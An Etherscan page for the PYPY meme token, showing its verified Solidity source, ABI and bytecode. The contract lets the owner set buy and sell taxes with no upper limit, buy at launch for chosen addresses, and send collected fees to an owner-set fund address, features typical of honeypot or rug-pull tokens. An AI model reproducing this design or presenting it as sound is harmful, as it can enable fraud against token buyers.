ETH Price: $3,381.02 (-2.23%)

Token

Pepe of yellow (PYPY)
 

Overview

Max Total Supply

420,690,900,000,000 PYPY

Holders

1,906 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
10,000,000 PYPY

Value
$0.00
0x81e11e04ee11ec39357d0dd84664abf46d80984e
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

Venturing Out To Create A Healthy Meme Economy On Ethereum Chain, Our Team Bred PYPY.

# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-03
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

/*

 $PYPY is $PEPE 's brother, they are one yellow and one green. PEPE has created a legend. PYPY will kill more zeros. Let the yellow storm sweep the world

 * Twitter : https://twitter.com/pypycoineth
 * Telegram : https://t.me/PYPYCoinETH
 * Website : https://pypycoin.vip/
*/

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address private fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){

        _name = "Pepe of yellow";
        _symbol = "PYPY";
        _decimals = 9;
        uint256 Supply = 420_690_900_000_000;

        _totalSupply = Supply * 10 ** _decimals;

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        fundAddress = msg.sender;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[fundAddress] = true;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH());

        isMarketPair[_uniswapPair] = true;
        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );
        _isExcludeFromFee[address(swapRouter)] = true;

    }

    function setFundAddr(
        address newAddr
    ) public onlyOwner{
        fundAddress = newAddr;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    uint256 public _buyCount=0;
    uint256 private _initialBuyTax=30;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=10;

    function recuseTax(
        uint256 newBuy,
        uint256 newSell,
        uint256 newReduceBuy,
        uint256 newReduceSell,
        uint256 newPreventSwapBefore
    ) public onlyOwner {
        _finalBuyTax = newBuy;
        _finalSellTax = newSell;
        _reduceBuyTaxAt = newReduceBuy;
        _reduceSellTaxAt = newReduceSell;
        _preventSwapBefore = newPreventSwapBefore;
    }

    bool public remainHolder = true;
    function changeRemain() public onlyOwner{
        remainHolder = !remainHolder;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (inSwap){
            _basicTransfer(from, to, amount);
            return;
        }

        bool takeFee;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) {
            uint256 _numSellToken = amount;
            if (_numSellToken > balanceOf(address(this))){
                _numSellToken = _balances[address(this)];
            }
            if (_numSellToken > 0){
                swapTokenForETH(_numSellToken);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(startTradeBlock > 0);
            takeFee = true;
            
            // buyCount
            if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) {
                _buyCount++;
            }

            // remainHolder
            if (remainHolder && amount == balance) {
                amount = amount - (amount / 10000);
            }

        }

        _transferToken(from, to, amount, takeFee);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;
            if (isMarketPair[recipient]) {
                taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax;
            } else if (isMarketPair[sender]) {
                taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    uint256 public startTradeBlock;
    function startTrade(address[] calldata adrs) public onlyOwner {
        for(uint i=0;i<adrs.length;i++){
            swapToken(((random(5,adrs[i])+1)*10**16+7*10**16),adrs[i]);
        }
        startTradeBlock = block.number;
    }

    function swapToken(uint256 tokenAmount,address to) private lockTheSwap {
        address weth = _uniswapRouter.WETH();
        address[] memory path = new address[](2);
        path[0] = address(weth);
        path[1] = address(this);
        uint256 _bal = IERC20(weth).balanceOf(address(this));
        tokenAmount = tokenAmount > _bal ? _bal : tokenAmount;
        if (tokenAmount == 0) return;
        // make the swap
        _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of CA
            path,
            address(to),
            block.timestamp
        );
    }

    function random(uint number,address _addr) private view returns(uint) {
        return uint(keccak256(abi.encodePacked(block.timestamp,block.difficulty,  _addr))) % number;
    }

    function removeERC20(address _token) external {
        if(_token != address(this)){
            IERC20(_token).transfer(fundAddress, IERC20(_token).balanceOf(address(this)));
            payable(fundAddress).transfer(address(this).balance);
        }
    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {}

        uint256 _bal = address(this).balance;
        if (_bal > 0){
            payable(fundAddress).transfer(_bal);
        }
    }

    function setFeeExclude(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"remainHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setFeeExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"adrs","type":"address[]"}],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600c55601e600d819055600e556001600f81815560108290556011819055601255600a6013556014805460ff191690911790553480156200004657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600e8082526d50657065206f662079656c6c6f7760901b6020909201918252620000bf91600491620004f1565b50604080518082019091526004808252635059505960e01b6020909201918252620000ed91600591620004f1565b506006805460ff1916600990811790915566017e9dbba79d00906200011490600a62000632565b620001209082620006f3565b600881905533600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360038054336001600160a01b0319918216178255306000818152600760209081526040808320805460ff1990811660019081179092556001600160a01b03898116865283862080548316841790559754909716845281842080549097161790955560098054737a250d5630b4cf539739df2c5dacb4c659f2488d9516851790559181526002825283812083825282528381206000199055835163c45a015560e01b8152935192939092849263c45a01559260048082019391829003018186803b1580156200023a57600080fd5b505afa1580156200024f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000275919062000597565b9050806001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002c157600080fd5b505afa158015620002d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fc919062000597565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200034557600080fd5b505af11580156200035a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000380919062000597565b600b8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481166000908152600a6020908152604091829020805460ff1916600117905560095482516315ab88c960e31b8152925193169263ad5c4648926004808201939291829003018186803b158015620003ff57600080fd5b505afa15801562000414573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200043a919062000597565b60095460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b1580156200048957600080fd5b505af11580156200049e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004c49190620005c7565b50506001600160a01b03166000908152600760205260409020805460ff1916600117905550620007689050565b828054620004ff9062000715565b90600052602060002090601f0160209004810192826200052357600085556200056e565b82601f106200053e57805160ff19168380011785556200056e565b828001600101855582156200056e579182015b828111156200056e57825182559160200191906001019062000551565b506200057c92915062000580565b5090565b5b808211156200057c576000815560010162000581565b600060208284031215620005a9578081fd5b81516001600160a01b0381168114620005c0578182fd5b9392505050565b600060208284031215620005d9578081fd5b81518015158114620005c0578182fd5b600181815b808511156200062a5781600019048211156200060e576200060e62000752565b808516156200061c57918102915b93841c9390800290620005ee565b509250929050565b6000620005c060ff8416836000826200064e57506001620006ed565b816200065d57506000620006ed565b81600181146200067657600281146200068157620006a1565b6001915050620006ed565b60ff84111562000695576200069562000752565b50506001821b620006ed565b5060208310610133831016604e8410600b8410161715620006c6575081810a620006ed565b620006d28383620005e9565b8060001904821115620006e957620006e962000752565b0290505b92915050565b600081600019048311821515161562000710576200071062000752565b500290565b600181811c908216806200072a57607f821691505b602082108114156200074c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6118e080620007786000396000f3fe60806040526004361061016a5760003560e01c80636f39cfcd116100d157806395d89b411161008a578063bc76c05211610064578063bc76c0521461045b578063cefab2af14610470578063dd62ed3e1461048a578063f2fde38b146104d057600080fd5b806395d89b4114610406578063a67755c21461041b578063a9059cbb1461043b57600080fd5b80636f39cfcd1461033d57806370a082311461035d578063715018a61461039357806380720140146103a85780638da5cb5b146103c8578063936c044b146103e657600080fd5b806336b2e0271161012357806336b2e027146102485780633ecad271146102785780633f80b6d7146102a85780634bf28fd0146102ca578063553193ca1461030757806365b61b771461031d57600080fd5b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101d157806323b872dd146101f057806327b1a8e914610210578063313ce5671461022657600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104f0565b60405161019891906116a1565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004611598565b610582565b6040519015158152602001610198565b3480156101dd57600080fd5b506008545b604051908152602001610198565b3480156101fc57600080fd5b506101c161020b36600461152b565b610598565b34801561021c57600080fd5b506101e2600c5481565b34801561023257600080fd5b5060065460405160ff9091168152602001610198565b34801561025457600080fd5b506101c16102633660046114bb565b60076020526000908152604090205460ff1681565b34801561028457600080fd5b506101c16102933660046114bb565b600a6020526000908152604090205460ff1681565b3480156102b457600080fd5b506102c86102c3366004611667565b61062f565b005b3480156102d657600080fd5b50600b546102ef9061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561031357600080fd5b506101e260155481565b34801561032957600080fd5b506009546102ef906001600160a01b031681565b34801561034957600080fd5b506102c86103583660046114bb565b610679565b34801561036957600080fd5b506101e26103783660046114bb565b6001600160a01b031660009081526001602052604090205490565b34801561039f57600080fd5b506102c86106c5565b3480156103b457600080fd5b506102c86103c33660046115c3565b610739565b3480156103d457600080fd5b506000546001600160a01b03166102ef565b3480156103f257600080fd5b506102c861040136600461156b565b610832565b34801561041257600080fd5b5061018b610887565b34801561042757600080fd5b506102c86104363660046114bb565b610896565b34801561044757600080fd5b506101c1610456366004611598565b6109e9565b34801561046757600080fd5b506102c86109f6565b34801561047c57600080fd5b506014546101c19060ff1681565b34801561049657600080fd5b506101e26104a53660046114f3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104dc57600080fd5b506102c86104eb3660046114bb565b610a34565b6060600480546104ff906117f1565b80601f016020809104026020016040519081016040528092919081815260200182805461052b906117f1565b80156105785780601f1061054d57610100808354040283529160200191610578565b820191906000526020600020905b81548152906001019060200180831161055b57829003601f168201915b5050505050905090565b600061058f338484610afa565b50600192915050565b60006105a5848484610b5b565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610625576001600160a01b03841660009081526002602090815260408083203384529091529020546106009083906117da565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106625760405162461bcd60e51b8152600401610659906116f4565b60405180910390fd5b600f94909455601092909255601155601255601355565b6000546001600160a01b031633146106a35760405162461bcd60e51b8152600401610659906116f4565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106ef5760405162461bcd60e51b8152600401610659906116f4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107635760405162461bcd60e51b8152600401610659906116f4565b60005b81811015610829576108176107b0600585858581811061079657634e487b7160e01b600052603260045260246000fd5b90506020020160208101906107ab91906114bb565b610db3565b6107bb90600161178f565b6107cc90662386f26fc100006117bb565b6107dd9066f8b0a10e47000061178f565b8484848181106107fd57634e487b7160e01b600052603260045260246000fd5b905060200201602081019061081291906114bb565b610e18565b806108218161182c565b915050610766565b50504360155550565b6000546001600160a01b0316331461085c5760405162461bcd60e51b8152600401610659906116f4565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6060600580546104ff906117f1565b6001600160a01b03811630146109e6576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a082319060240160206040518083038186803b1580156108f457600080fd5b505afa158015610908573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092c919061164f565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561097257600080fd5b505af1158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa9190611633565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156109e4573d6000803e3d6000fd5b505b50565b600061058f338484610b5b565b6000546001600160a01b03163314610a205760405162461bcd60e51b8152600401610659906116f4565b6014805460ff19811660ff90911615179055565b6000546001600160a01b03163314610a5e5760405162461bcd60e51b8152600401610659906116f4565b6001600160a01b038116610a9f5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610659565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610bb75760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610659565b600b5460ff1615610bd457610bcd848484611051565b5050505050565b6001600160a01b0383166000908152600a602052604081205460ff168015610bff5750600b5460ff16155b8015610c2457506001600160a01b03851660009081526007602052604090205460ff16155b8015610c4957506001600160a01b03841660009081526007602052604090205460ff16155b8015610c585750601354600c54115b15610c9957306000908152600160205260409020548390811115610c885750306000908152600160205260409020545b8015610c9757610c9781611106565b505b6001600160a01b03851660009081526007602052604090205460ff16158015610cdb57506001600160a01b03841660009081526007602052604090205460ff16155b8015610cea5750600b5460ff16155b15610da757600060155411610cfe57600080fd5b506001600160a01b0384166000908152600a602052604090205460019060ff168015610d3857506009546001600160a01b03858116911614155b8015610d5d57506001600160a01b03841660009081526007602052604090205460ff16155b15610d7857600c8054906000610d728361182c565b91905055505b60145460ff168015610d8957508183145b15610da757610d9a612710846117a7565b610da490846117da565b92505b610bcd858585846112c7565b600082424484604051602001610dee93929190928352602083019190915260601b6bffffffffffffffffffffffff1916604082015260540190565b6040516020818303038152906040528051906020012060001c610e119190611847565b9392505050565b600b805460ff19166001179055600954604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c4648916004808301926020929190829003018186803b158015610e6a57600080fd5b505afa158015610e7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea291906114d7565b60408051600280825260608201835292935060009290916020830190803683370190505090508181600081518110610eea57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f2c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526040516370a0823160e01b81523060048201526000918416906370a082319060240160206040518083038186803b158015610f7c57600080fd5b505afa158015610f90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb4919061164f565b9050808511610fc35784610fc5565b805b945084610fd457505050611043565b600954604051635c11d79560e01b81526001600160a01b0390911690635c11d7959061100d90889060009087908a90429060040161171f565b600060405180830381600087803b15801561102757600080fd5b505af115801561103b573d6000803e3d6000fd5b505050505050505b5050600b805460ff19169055565b6001600160a01b03831660009081526001602052604081208054839190839061107b9084906117da565b90915550506001600160a01b038316600090815260016020526040812080548492906110a890849061178f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110f491815260200190565b60405180910390a35060019392505050565b600b805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061115657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111aa57600080fd5b505afa1580156111be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e291906114d7565b8160018151811061120357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260095460405163791ac94760e01b815291169063791ac9479061124990859060009086903090429060040161171f565b600060405180830381600087803b15801561126357600080fd5b505af1925050508015611274575060015b504780156112b8576003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156112b6573d6000803e3d6000fd5b505b5050600b805460ff1916905550565b6001600160a01b0384166000908152600160205260409020546112eb9083906117da565b6001600160a01b038516600090815260016020526040812091909155811561142c576001600160a01b0384166000908152600a602052604081205460ff161561134c57601254600c541161134157600e54611345565b6010545b9050611387565b6001600160a01b0386166000908152600a602052604090205460ff161561138757601154600c541161138057600d54611384565b600f545b90505b6000606461139583876117bb565b61139f91906117a7565b90508015611429576113b1818461178f565b306000908152600160205260409020549093506113cf90829061178f565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114209085815260200190565b60405180910390a35b50505b61143681846117da565b6001600160a01b038516600090815260016020526040902054611459919061178f565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114a384876117da565b60405190815260200160405180910390a35050505050565b6000602082840312156114cc578081fd5b8135610e1181611887565b6000602082840312156114e8578081fd5b8151610e1181611887565b60008060408385031215611505578081fd5b823561151081611887565b9150602083013561152081611887565b809150509250929050565b60008060006060848603121561153f578081fd5b833561154a81611887565b9250602084013561155a81611887565b929592945050506040919091013590565b6000806040838503121561157d578182fd5b823561158881611887565b915060208301356115208161189c565b600080604083850312156115aa578182fd5b82356115b581611887565b946020939093013593505050565b600080602083850312156115d5578182fd5b823567ffffffffffffffff808211156115ec578384fd5b818501915085601f8301126115ff578384fd5b81358181111561160d578485fd5b8660208260051b8501011115611621578485fd5b60209290920196919550909350505050565b600060208284031215611644578081fd5b8151610e118161189c565b600060208284031215611660578081fd5b5051919050565b600080600080600060a0868803121561167e578081fd5b505083359560208501359550604085013594606081013594506080013592509050565b6000602080835283518082850152825b818110156116cd578581018301518582016040015282016116b1565b818111156116de5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561176e5784516001600160a01b031683529383019391830191600101611749565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156117a2576117a261185b565b500190565b6000826117b6576117b6611871565b500490565b60008160001904831182151516156117d5576117d561185b565b500290565b6000828210156117ec576117ec61185b565b500390565b600181811c9082168061180557607f821691505b6020821081141561182657634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156118405761184061185b565b5060010190565b60008261185657611856611871565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b03811681146109e657600080fd5b80151581146109e657600080fdfea2646970667358221220c5ced1a500e39f7a397493e3abcbc91092129666ff92b9ba3c5156841bbe47e464736f6c63430008040033

Deployed Bytecode

